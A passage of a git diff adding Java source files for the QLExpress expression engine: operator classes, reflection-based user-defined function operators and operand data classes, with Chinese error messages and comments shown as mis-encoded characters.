this.getAliasName()); + } + if (Boolean.class.equals(op.getClass())) { + result = !(Boolean)op; + } else { + String msg = "没有定义类型" + op.getClass().getName() + " çš„ " + this.name + "æ“作"; + throw new QLException(msg); + } + return result; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorOr.java b/src/com/ql/util/express/instruction/op/OperatorOr.java new file mode 100644 index 00000000..3f6ff906 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorOr.java @@ -0,0 +1,43 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorOr extends Operator { + public OperatorOr(String name) { + this.name = name; + } + + public OperatorOr(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) throws Exception { + boolean r1; + boolean r2; + if (op1 == null) { + r1 = false; + } else if (op1 instanceof Boolean) { + r1 = (Boolean)op1; + } else { + String msg = "没有定义类型" + op1 + "å’Œ" + op2 + " çš„ " + this.name + "æ“作"; + throw new QLException(msg); + } + if (op2 == null) { + r2 = false; + } else if (op2 instanceof Boolean) { + r2 = (Boolean)op2; + } else { + String msg = "没有定义类型" + op1 + "å’Œ" + op2 + " çš„ " + this.name + "æ“作"; + throw new QLException(msg); + } + return r1 || r2; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorPrint.java b/src/com/ql/util/express/instruction/op/OperatorPrint.java new file mode 100644 index 00000000..bba1758c --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorPrint.java @@ -0,0 +1,25 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorPrint extends Operator { + public OperatorPrint(String name) { + this.name = name; + } + + public OperatorPrint(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + if (list.length != 1) { + throw new QLException("æ“作数异常,有且åªèƒ½æœ‰ä¸€ä¸ªæ“作数"); + } + System.out.print(list[0]); + return null; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorPrintln.java b/src/com/ql/util/express/instruction/op/OperatorPrintln.java new file mode 100644 index 00000000..1c3a3db3 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorPrintln.java @@ -0,0 +1,25 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.exception.QLException; + +public class OperatorPrintln extends Operator { + public OperatorPrintln(String name) { + this.name = name; + } + + public OperatorPrintln(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + if (list.length != 1) { + throw new QLException("æ“作数异常,有且åªèƒ½æœ‰ä¸€ä¸ªæ“作数"); + } + System.out.println(list[0]); + return null; + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorReduce.java b/src/com/ql/util/express/instruction/op/OperatorReduce.java new file mode 100644 index 00000000..2cebf2a4 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorReduce.java @@ -0,0 +1,21 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.OperatorOfNumber; + +public class OperatorReduce extends Operator { + public OperatorReduce(String name) { + this.name = name; + } + + public OperatorReduce(String aliasName, String name, String errorInfo) { + this.name = name; + this.aliasName = aliasName; + this.errorInfo = errorInfo; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return OperatorOfNumber.subtract(list[0], list[1], this.isPrecise); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorRound.java b/src/com/ql/util/express/instruction/op/OperatorRound.java new file mode 100644 index 00000000..20ada40d --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorRound.java @@ -0,0 +1,19 @@ +package com.ql.util.express.instruction.op; + +import com.ql.util.express.Operator; +import com.ql.util.express.OperatorOfNumber; + +public class OperatorRound extends Operator { + public OperatorRound(String name) { + this.name = name; + } + + @Override + public Object executeInner(Object[] list) throws Exception { + return executeInner(list[0], list[1]); + } + + public Object executeInner(Object op1, Object op2) { + return OperatorOfNumber.round(((Number)op1).doubleValue(), ((Number)op2).intValue()); + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorSelfDefineClassFunction.java b/src/com/ql/util/express/instruction/op/OperatorSelfDefineClassFunction.java new file mode 100644 index 00000000..cfee3e70 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorSelfDefineClassFunction.java @@ -0,0 +1,113 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.DynamicParamsUtil; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +/** + * 用户自定义的类é™æ€æ–¹æ³•æ“作 + * + * @author qhlhl2010@gmail.com + */ +public class OperatorSelfDefineClassFunction extends OperatorBase implements CanClone { + private final String functionName; + private final String[] parameterTypes; + private final Class[] parameterClasses; + private final Class operatorClass; + private Object operatorInstance; + private final Method method; + private boolean isReturnVoid; + private final boolean maybeDynamicParams; + + public OperatorSelfDefineClassFunction(String operatorName, Class operatorClass, String functionName, + Class[] parameterClassTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + this.name = operatorName; + this.errorInfo = errorInfo; + this.functionName = functionName; + this.parameterClasses = parameterClassTypes; + this.parameterTypes = new String[parameterClassTypes.length]; + this.operateDataDesc = parameterDesc; + this.operateDataAnnotation = parameterAnnotation; + for (int i = 0; i < this.parameterClasses.length; i++) { + this.parameterTypes[i] = this.parameterClasses[i].getName(); + } + this.operatorClass = operatorClass; + method = this.operatorClass.getMethod(functionName, parameterClasses); + this.isReturnVoid = method.getReturnType().equals(void.class); + this.maybeDynamicParams = DynamicParamsUtil.maybeDynamicParams(parameterClasses); + } + + public OperatorSelfDefineClassFunction(String operatorName, String className, String functionName, + Class[] parameterClassTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + this.name = operatorName; + this.errorInfo = errorInfo; + this.functionName = functionName; + this.parameterClasses = parameterClassTypes; + this.parameterTypes = new String[parameterClassTypes.length]; + this.operateDataDesc = parameterDesc; + this.operateDataAnnotation = parameterAnnotation; + for (int i = 0; i < this.parameterClasses.length; i++) { + this.parameterTypes[i] = this.parameterClasses[i].getName(); + } + operatorClass = ExpressUtil.getJavaClass(className); + method = operatorClass.getMethod(functionName, parameterClasses); + this.isReturnVoid = method.getReturnType().equals(void.class); + this.maybeDynamicParams = DynamicParamsUtil.maybeDynamicParams(parameterClasses); + } + + public OperatorSelfDefineClassFunction(String operatorName, String className, String functionName, + String[] parameterTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + this.name = operatorName; + this.errorInfo = errorInfo; + this.functionName = functionName; + this.parameterTypes = parameterTypes; + this.operateDataDesc = parameterDesc; + this.operateDataAnnotation = parameterAnnotation; + this.parameterClasses = new Class[this.parameterTypes.length]; + for (int i = 0; i < this.parameterClasses.length; i++) { + this.parameterClasses[i] = ExpressUtil.getJavaClass(this.parameterTypes[i]); + } + operatorClass = ExpressUtil.getJavaClass(className); + method = operatorClass.getMethod(functionName, parameterClasses); + this.maybeDynamicParams = DynamicParamsUtil.maybeDynamicParams(parameterClasses); + } + + @Override + public OperatorBase cloneMe(String opName, String errorInfo) throws Exception { + return new OperatorSelfDefineClassFunction(opName, this.operatorClass.getName(), this.functionName, + this.parameterClasses, this.operateDataDesc, this.operateDataAnnotation, errorInfo); + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Object[] parameters = DynamicParamsUtil.transferDynamicParams(parent, list, parameterClasses, + this.maybeDynamicParams); + Object obj; + if (Modifier.isStatic(this.method.getModifiers())) { + obj = this.method.invoke(null, ExpressUtil.transferArray(parameters, parameterClasses)); + } else { + if (operatorInstance == null) { + operatorInstance = operatorClass.newInstance(); + } + obj = this.method.invoke(operatorInstance, ExpressUtil.transferArray(parameters, parameterClasses)); + } + + if (obj != null) { + return OperateDataCacheManager.fetchOperateData(obj, obj.getClass()); + } + if (this.isReturnVoid) { + return OperateDataCacheManager.fetchOperateDataAttr("null", void.class); + } else { + return OperateDataCacheManager.fetchOperateDataAttr("null", null); + } + } +} diff --git a/src/com/ql/util/express/instruction/op/OperatorSelfDefineServiceFunction.java b/src/com/ql/util/express/instruction/op/OperatorSelfDefineServiceFunction.java new file mode 100644 index 00000000..ad33a843 --- /dev/null +++ b/src/com/ql/util/express/instruction/op/OperatorSelfDefineServiceFunction.java @@ -0,0 +1,85 @@ +package com.ql.util.express.instruction.op; + +import java.lang.reflect.Method; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.DynamicParamsUtil; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.OperateDataCacheManager; + +/** + * 用户自定义的对象方法æ“作 + * + * @author qhlhl2010@gmail.com + */ +public class OperatorSelfDefineServiceFunction extends OperatorBase implements CanClone { + private final Object serviceObject; + private final String functionName; + private final String[] parameterTypes; + private final Class[] parameterClasses; + private final Method method; + private boolean isReturnVoid; + private final boolean maybeDynamicParams; + + public OperatorSelfDefineServiceFunction(String operatorName, Object serviceObject, String functionName, + Class[] parameterClassTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + this.name = operatorName; + this.errorInfo = errorInfo; + this.serviceObject = serviceObject; + this.functionName = functionName; + this.parameterClasses = parameterClassTypes; + this.operateDataDesc = parameterDesc; + this.operateDataAnnotation = parameterAnnotation; + this.parameterTypes = new String[this.parameterClasses.length]; + for (int i = 0; i < this.parameterClasses.length; i++) { + this.parameterTypes[i] = this.parameterClasses[i].getName(); + } + Class operatorClass = serviceObject.getClass(); + method = operatorClass.getMethod(functionName, parameterClasses); + this.isReturnVoid = method.getReturnType().equals(void.class); + this.maybeDynamicParams = DynamicParamsUtil.maybeDynamicParams(parameterClasses); + } + + public OperatorSelfDefineServiceFunction(String operatorName, Object serviceObject, String functionName, + String[] parameterTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + this.name = operatorName; + this.errorInfo = errorInfo; + this.serviceObject = serviceObject; + this.functionName = functionName; + this.parameterTypes = parameterTypes; + this.operateDataDesc = parameterDesc; + this.operateDataAnnotation = parameterAnnotation; + this.parameterClasses = new Class[this.parameterTypes.length]; + for (int i = 0; i < this.parameterClasses.length; i++) { + this.parameterClasses[i] = ExpressUtil.getJavaClass(this.parameterTypes[i]); + } + Class operatorClass = serviceObject.getClass(); + method = operatorClass.getMethod(functionName, parameterClasses); + this.maybeDynamicParams = DynamicParamsUtil.maybeDynamicParams(parameterClasses); + } + + @Override + public OperatorBase cloneMe(String operatorName, String errorInfo) throws Exception { + return new OperatorSelfDefineServiceFunction(operatorName, this.serviceObject, this.functionName, + this.parameterClasses, this.operateDataDesc, this.operateDataAnnotation, errorInfo); + } + + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Object[] parameters = DynamicParamsUtil.transferDynamicParams(parent, list, parameterClasses, + this.maybeDynamicParams); + Object obj = this.method.invoke(this.serviceObject, ExpressUtil.transferArray(parameters, parameterClasses)); + if (obj != null) { + return OperateDataCacheManager.fetchOperateData(obj, obj.getClass()); + } + if (this.isReturnVoid) { + return OperateDataCacheManager.fetchOperateDataAttr("null", void.class); + } else { + return OperateDataCacheManager.fetchOperateDataAttr("null", null); + } + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateClass.java b/src/com/ql/util/express/instruction/opdata/OperateClass.java new file mode 100644 index 00000000..8b3fd0f9 --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateClass.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; + +public class OperateClass extends OperateData { + private final String name; + private final Class clazz; + + public OperateClass(String name, Class clazz) { + super(null, null); + this.name = name; + this.clazz = clazz; + } + + @Override + public void toResource(StringBuilder builder, int level) { + builder.append(this.name); + } + + @Override + public Object getObjectInner(InstructionSetContext parent) { + return clazz; + } + + public String getName() { + return this.name; + } + + @Override + public String toString() { + return "Class:" + name; + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataAlias.java b/src/com/ql/util/express/instruction/opdata/OperateDataAlias.java new file mode 100644 index 00000000..1d21a849 --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataAlias.java @@ -0,0 +1,44 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.InstructionSetContext; + +public class OperateDataAlias extends OperateDataAttr { + private final OperateDataAttr realAttr; + + public OperateDataAlias(String name, OperateDataAttr realAttr) { + super(name, null); + this.realAttr = realAttr; + } + + @Override + public String toString() { + try { + return this.name + "[alias=" + this.realAttr.name + "]"; + } catch (Exception e) { + return e.getMessage(); + } + } + + @Override + public Object getObjectInner(InstructionSetContext context) { + try { + return realAttr.getObject(context); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @Override + public Class getType(InstructionSetContext context) throws Exception { + return realAttr.getType(context); + } + + @Override + public void setObject(InstructionSetContext context, Object object) { + try { + realAttr.setObject(context, object); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataArrayItem.java b/src/com/ql/util/express/instruction/opdata/OperateDataArrayItem.java new file mode 100644 index 00000000..32c5d5cc --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataArrayItem.java @@ -0,0 +1,73 @@ +package com.ql.util.express.instruction.opdata; + +import java.lang.reflect.Array; +import java.util.List; + +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; + +public class OperateDataArrayItem extends OperateDataAttr { + private OperateData arrayObject; + private int index; + + public OperateDataArrayItem(OperateData arrayObject, int index) { + super("array[" + arrayObject + "," + index + "]", null); + this.arrayObject = arrayObject; + this.index = index; + } + + public void initialDataArrayItem(OperateData arrayObject, int index) { + super.initialDataAttr("array[" + arrayObject + "," + index + "]", null); + this.arrayObject = arrayObject; + this.index = index; + } + + public void clearDataArrayItem() { + super.clearDataAttr(); + this.arrayObject = null; + this.index = -1; + } + + @Override + public void toResource(StringBuilder builder, int level) { + builder.append(this.index); + } + + @Override + public Class getType(InstructionSetContext context) throws Exception { + return this.arrayObject.getObject(context).getClass().getComponentType(); + } + + @Override + public Object getObjectInner(InstructionSetContext context) { + try { + if (this.arrayObject.getObject(context) instanceof List) { + return ((List)this.arrayObject.getObject(context)).get(this.index); + } else { + return Array.get(this.arrayObject.getObject(context), this.index); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @Override + public void setObject(InstructionSetContext context, Object value) { + try { + if (this.arrayObject.getObject(context) instanceof List) { + ((List)this.arrayObject.getObject(context)).set(this.index, value); + } else { + Array.set(this.arrayObject.getObject(context), this.index, value); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} + + + + + + + diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataAttr.java b/src/com/ql/util/express/instruction/opdata/OperateDataAttr.java new file mode 100644 index 00000000..fb9f31f5 --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataAttr.java @@ -0,0 +1,95 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; + +public class OperateDataAttr extends OperateData { + protected String name; + + public OperateDataAttr(String name, Class type) { + super(null, type); + this.name = name; + } + + public void initialDataAttr(String name, Class type) { + super.initial(null, type); + this.name = name; + } + + public void clearDataAttr() { + super.clear(); + this.name = null; + } + + public void setDefineType(Class originalType) { + this.type = originalType; + } + + @Override + public Class getDefineType() { + return this.type; + } + + public String getName() { + return name; + } + + @Override + public void toResource(StringBuilder builder, int level) { + builder.append(this.name); + } + + @Override + public String toString() { + try { + String str; + if (this.type == null) { + str = name; + } else { + str = name + "[" + ExpressUtil.getClassName(this.type) + "]"; + } + return str; + } catch (Exception ex) { + return ex.getMessage(); + } + } + + @Override + public Object getObjectInner(InstructionSetContext context) throws Exception { + if ("null".equalsIgnoreCase(this.name)) { + return null; + } + if (context == null) { + throw new RuntimeException("没有设置表达å¼è®¡ç®—的上下文,ä¸èƒ½èŽ·å–属性:\"" + this.name + + "\"请检查表达å¼"); + } + try { + return context.get(this.name); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @Override + public Class getType(InstructionSetContext context) throws Exception { + if (this.type != null) { + return this.type; + } + Object obj = context.get(name); + if (obj == null) { + return null; + } else { + return obj.getClass(); + } + } + + @Override + public void setObject(InstructionSetContext parent, Object object) throws Exception { + try { + parent.put(this.name, object); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataField.java b/src/com/ql/util/express/instruction/opdata/OperateDataField.java new file mode 100644 index 00000000..da863a5d --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataField.java @@ -0,0 +1,124 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.parse.AppendingClassFieldManager; + +public class OperateDataField extends OperateDataAttr { + private Object fieldObject; + private String originalFieldName; + + public OperateDataField(Object fieldObject, String fieldName) { + super(null, null); + if (fieldObject == null) { + this.name = "没有åˆå§‹åŒ–çš„Field"; + } else { + this.name = fieldObject.getClass().getName() + "." + fieldName; + } + this.fieldObject = fieldObject; + this.originalFieldName = fieldName; + } + + public void initialDataField(Object fieldObject, String fieldName) { + super.initialDataAttr(null, null); + if (fieldObject == null) { + this.name = Void.class.getName() + "." + fieldName; + } else { + this.name = fieldObject.getClass().getName() + "." + fieldName; + } + this.fieldObject = fieldObject; + this.originalFieldName = fieldName; + } + + public void clearDataField() { + super.clearDataAttr(); + this.name = null; + this.fieldObject = null; + this.originalFieldName = null; + } + + @Override + public String getName() { + return name; + } + + @Override + public String toString() { + try { + return name; + } catch (Exception ex) { + return ex.getMessage(); + } + } + + public Object transferFieldName(InstructionSetContext context, String oldName) { + if (!context.isSupportDynamicFieldName()) { + return oldName; + } else { + try { + OperateDataAttr o = (OperateDataAttr)context.findAliasOrDefSymbol(oldName); + if (o != null) { + return o.getObject(context); + } else { + return oldName; + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + @Override + public Object getObjectInner(InstructionSetContext context) throws Exception { + AppendingClassFieldManager appendingClassFieldManager = context.getExpressRunner() + .getAppendingClassFieldManager(); + + if (appendingClassFieldManager != null) { + AppendingClassFieldManager.AppendingField appendingField + = appendingClassFieldManager.getAppendingClassField(this.fieldObject, this.originalFieldName); + if (appendingField != null) { + return appendingClassFieldManager.invoke(appendingField, this.fieldObject); + } + } + //如果能找到aFieldName的定义,则å†æ¬¡è¿ç®— + if (this.fieldObject instanceof OperateDataVirClass) { + return ((OperateDataVirClass)this.fieldObject).getValue(transferFieldName(context, this.originalFieldName)); + } else { + return ExpressUtil.getProperty(this.fieldObject, transferFieldName(context, this.originalFieldName)); + } + } + + @Override + public Class getType(InstructionSetContext context) throws Exception { + AppendingClassFieldManager appendingClassFieldManager = context.getExpressRunner() + .getAppendingClassFieldManager(); + + if (appendingClassFieldManager != null) { + AppendingClassFieldManager.AppendingField appendingField + = appendingClassFieldManager.getAppendingClassField(this.fieldObject, this.originalFieldName); + if (appendingField != null) { + return appendingField.getReturnType(); + } + } + if (this.fieldObject instanceof OperateDataVirClass) { + return ((OperateDataVirClass)this.fieldObject).getValueType( + transferFieldName(context, this.originalFieldName)); + } else { + if (this.fieldObject == null && QLExpressRunStrategy.isAvoidNullPointer()) { + return Void.class; + } + return ExpressUtil.getPropertyClass(this.fieldObject, transferFieldName(context, this.originalFieldName)); + } + } + + @Override + public void setObject(InstructionSetContext context, Object value) throws Exception { + if (this.fieldObject instanceof OperateDataVirClass) { + ((OperateDataVirClass)this.fieldObject).setValue( + transferFieldName(context, this.originalFieldName).toString(), value); + } else { + ExpressUtil.setProperty(fieldObject, transferFieldName(context, this.originalFieldName), value); + } + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataKeyValue.java b/src/com/ql/util/express/instruction/opdata/OperateDataKeyValue.java new file mode 100644 index 00000000..bb84aa63 --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataKeyValue.java @@ -0,0 +1,55 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; + +public class OperateDataKeyValue extends OperateData { + private OperateData key; + private OperateData value; + + public OperateDataKeyValue(OperateData key, OperateData value) { + super(null, null); + this.key = key; + this.value = value; + } + + public void initialDataKeyValue(OperateData key, OperateData value) { + super.initial(null, null); + this.key = key; + this.value = value; + } + + public void clearDataKeyValue() { + super.clear(); + this.key = null; + this.value = null; + } + + public OperateData getKey() { + return key; + } + + public OperateData getValue() { + return value; + } + + @Override + public Object getObjectInner(InstructionSetContext context) { + throw new RuntimeException("没有实现方法:getObjectInner"); + } + + @Override + public Class getType(InstructionSetContext context) { + throw new RuntimeException("没有实现方法:getType"); + } + + @Override + public void setObject(InstructionSetContext parent, Object object) { + throw new RuntimeException("没有实现方法:setObject"); + } + + @Override + public String toString() { + return this.key + ":" + this.value; + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataLocalVar.java b/src/com/ql/util/express/instruction/opdata/OperateDataLocalVar.java new file mode 100644 index 00000000..fae2d981 --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataLocalVar.java @@ -0,0 +1,45 @@ +package com.ql.util.express.instruction.opdata; + +import com.ql.util.express.InstructionSetContext; + +public class OperateDataLocalVar extends OperateDataAttr { + public OperateDataLocalVar(String name, Class type) { + super(name, type); + } + + public void initialDataLocalVar(String name, Class type) { + super.initialDataAttr(name, type); + } + + public void clearDataLocalVar() { + super.clear(); + } + + @Override + public Object getObjectInner(InstructionSetContext context) { + try { + return this.dataObject; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @Override + public Class getType(InstructionSetContext context) { + return this.type; + } + + @Override + public void setObject(InstructionSetContext parent, Object value) { + this.dataObject = value; + } + + @Override + public String toString() { + try { + return name + ":localVar"; + } catch (Exception e) { + return e.getMessage(); + } + } +} diff --git a/src/com/ql/util/express/instruction/opdata/OperateDataVirClass.java b/src/com/ql/util/express/instruction/opdata/OperateDataVirClass.java new file mode 100644 index 00000000..fe6becda --- /dev/null +++ b/src/com/ql/util/express/instruction/opdata/OperateDataVirClass.java @@ -0,0 +1,140 @@ +package com.ql.util.express.instruction.opdata; + +import java.util.List; + +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.InstructionSetRunner; +import com.ql.util.express.OperateData; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; + +/** + * 虚拟Class的内存对象 + * + * @author xuannan + */ +public class OperateDataVirClass extends OperateDataAttr { + /** + * 虚拟Classçš„æ•°æ®ä¸Šä¸‹æ–‡ + */ + private InstructionSetContext context; + + /** + * è™šæ‹Ÿç±»çš„æŒ‡ä»¤é›†åˆ + */ + private InstructionSet virClassInstructionSet; + + private boolean isTrace; + + public OperateDataVirClass(String name) { + super(name, null); + } + + public void initialInstance(InstructionSetContext parent, OperateData[] parameters, List errorList, + boolean isTrace) throws Exception { + this.isTrace = isTrace; + this.context = OperateDataCacheManager.fetchInstructionSetContext(false, parent.getExpressRunner(), parent, + parent.getExpressLoader(), parent.isSupportDynamicFieldName()); + Object functionSet = parent.getSymbol(this.name); + if (!(functionSet instanceof InstructionSet)) { + throw new QLException("没有找到自定义对象\"" + this.name + "\""); + } + this.virClassInstructionSet = (InstructionSet)functionSet; + + OperateDataLocalVar[] vars = virClassInstructionSet.getParameters(); + for (int i = 0; i < vars.length; i++) { + //注æ„此处必须new 一个新的对象,å¦åˆ™å°±ä¼šåœ¨å¤šæ¬¡è°ƒç”¨çš„时候导致数æ®å†²çª + OperateDataLocalVar operateDataLocalVar = OperateDataCacheManager.fetchOperateDataLocalVar( + vars[i].getName(), vars[i].getOriginalType()); + this.context.addSymbol(operateDataLocalVar.getName(), operateDataLocalVar); + operateDataLocalVar.setObject(context, parameters[i].getObject(parent)); + } + InstructionSetRunner.execute(virClassInstructionSet, context, errorList, isTrace, false, false); + } + + public OperateData callSelfFunction(String functionName, OperateData[] parameters) throws Exception { + Object function = this.context.getSymbol(functionName); + if (!(function instanceof InstructionSet)) { + throw new QLException("在VClass:" + this.name + "中没有定义函数\"" + functionName + "\""); + } + InstructionSet functionSet = (InstructionSet)function; + + InstructionSetContext tempContext = OperateDataCacheManager.fetchInstructionSetContext(true, + this.context.getExpressRunner(), this.context, this.context.getExpressLoader(), + this.context.isSupportDynamicFieldName()); + OperateDataLocalVar[] vars = functionSet.getParameters(); + for (int i = 0; i < vars.length; i++) { + //注æ„此处必须new 一个新的对象,å¦åˆ™å°±ä¼šåœ¨å¤šæ¬¡è°ƒç”¨çš„时候导致数æ®å†²çª + OperateDataLocalVar operateDataLocalVar = OperateDataCacheManager.fetchOperateDataLocalVar( + vars[i].getName(), vars[i].getOriginalType()); + tempContext.addSymbol(operateDataLocalVar.getName(), operateDataLocalVar); + operateDataLocalVar.setObject(tempContext, parameters[i].getObject(this.context)); + } + Object result = InstructionSetRunner.execute(functionSet, tempContext, null, this.isTrace, false, true); + return OperateDataCacheManager.fetchOperateData(result, null); + } + + public Object getValue(Object name) throws Exception { + Object o = this.context.findAliasOrDefSymbol(name.toString()); + if (o == null) { + return null; + } else if (o instanceof OperateData) { + //å˜é‡å®šä¹‰ + return ((OperateData)o).getObject(context); + } else if (o instanceof InstructionSet) { + //å®å®šä¹‰ + InstructionSetContext tempContext = OperateDataCacheManager.fetchInstructionSetContext(true, + this.context.getExpressRunner(), this.context, this.context.getExpressLoader(), + this.context.isSupportDynamicFieldName()); + Object result = InstructionSetRunner.execute(this.context.getExpressRunner(), (InstructionSet)o, + this.context.getExpressLoader(), tempContext, null, this.isTrace, false, false, + this.context.isSupportDynamicFieldName()); + if (result instanceof OperateData) { + return ((OperateData)result).getObject(this.context); + } else { + return result; + } + } else { + throw new QLException("ä¸æ”¯æŒçš„æ•°æ®ç±»åž‹:" + o.getClass().getName()); + } + } + + public void setValue(String name, Object value) throws Exception { + Object o = this.context.findAliasOrDefSymbol(name); + if (o instanceof OperateData) { + ((OperateData)o).setObject(context, value); + } else { + throw new QLException("ä¸æ”¯æŒçš„æ•°æ®ç±»åž‹:" + o.getClass().getName()); + } + } + + public Class getValueType(Object name) throws Exception { + Object o = this.context.findAliasOrDefSymbol(name.toString()); + if (o instanceof OperateData) { + return ((OperateData)o).getType(context); + } else { + throw new QLException("ä¸æ”¯æŒçš„æ•°æ®ç±»åž‹:" + o.getClass().getName()); + } + } + + @Override + public Object getObjectInner(InstructionSetContext context) { + return this; + } + + @Override + public Class getType(InstructionSetContext context) { + return this.getClass(); + } + + @Override + public void setObject(InstructionSetContext parent, Object object) { + throw new RuntimeException("ä¸æ”¯æŒçš„方法"); + } + + @Override + public String toString() { + return "VClass[" + this.name + "]"; + } +} diff --git a/src/com/ql/util/express/match/IDataNode.java b/src/com/ql/util/express/match/IDataNode.java new file mode 100644 index 00000000..7d7ca525 --- /dev/null +++ b/src/com/ql/util/express/match/IDataNode.java @@ -0,0 +1,19 @@ +package com.ql.util.express.match; + +public interface IDataNode { + void setNodeType(INodeType iNodeType); + + void setTreeType(INodeType iNodeType); + + INodeType getNodeType(); + + INodeType getTreeType(); + + void addChild(IDataNode ref); + + IDataNode createExpressNode(INodeType iNodeType, String value) throws Exception; + + String getValue(); + + void setObjectValue(Object value); +} diff --git a/src/com/ql/util/express/match/INodeType.java b/src/com/ql/util/express/match/INodeType.java new file mode 100644 index 00000000..e684fd8e --- /dev/null +++ b/src/com/ql/util/express/match/INodeType.java @@ -0,0 +1,14 @@ +package com.ql.util.express.match; + +/** + * 匹é…类型 + * + * @author xuannan + */ +public interface INodeType { + String getName(); + + INodeTypeManager getManager(); + + QLPatternNode getPatternNode(); +} diff --git a/src/com/ql/util/express/match/INodeTypeManager.java b/src/com/ql/util/express/match/INodeTypeManager.java new file mode 100644 index 00000000..3e785c69 --- /dev/null +++ b/src/com/ql/util/express/match/INodeTypeManager.java @@ -0,0 +1,5 @@ +package com.ql.util.express.match; + +public interface INodeTypeManager { + INodeType findNodeType(String name); +} diff --git a/src/com/ql/util/express/match/QLMatchResult.java b/src/com/ql/util/express/match/QLMatchResult.java new file mode 100644 index 00000000..cc449713 --- /dev/null +++ b/src/com/ql/util/express/match/QLMatchResult.java @@ -0,0 +1,50 @@ +package com.ql.util.express.match; + +import java.util.ArrayList; +import java.util.List; + +public class QLMatchResult { + private final List matches = new ArrayList<>(); + private int matchLastIndex; + + public void clear() { + this.matchLastIndex = 0; + this.matches.clear(); + } + + public List getMatches() { + return matches; + } + + public QLMatchResult addQLMatchResultTree(QLMatchResultTree tree) { + this.matches.add(tree); + return this; + } + + public QLMatchResult addQLMatchResultTreeList(List qlMatchResultTreeList) { + this.matches.addAll(qlMatchResultTreeList); + return this; + } + + public int getMatchSize() { + return this.matches.size(); + } + + public int getMatchLastIndex() { + return matchLastIndex; + } + + public QLMatchResult setMatchLastIndex(int index) { + 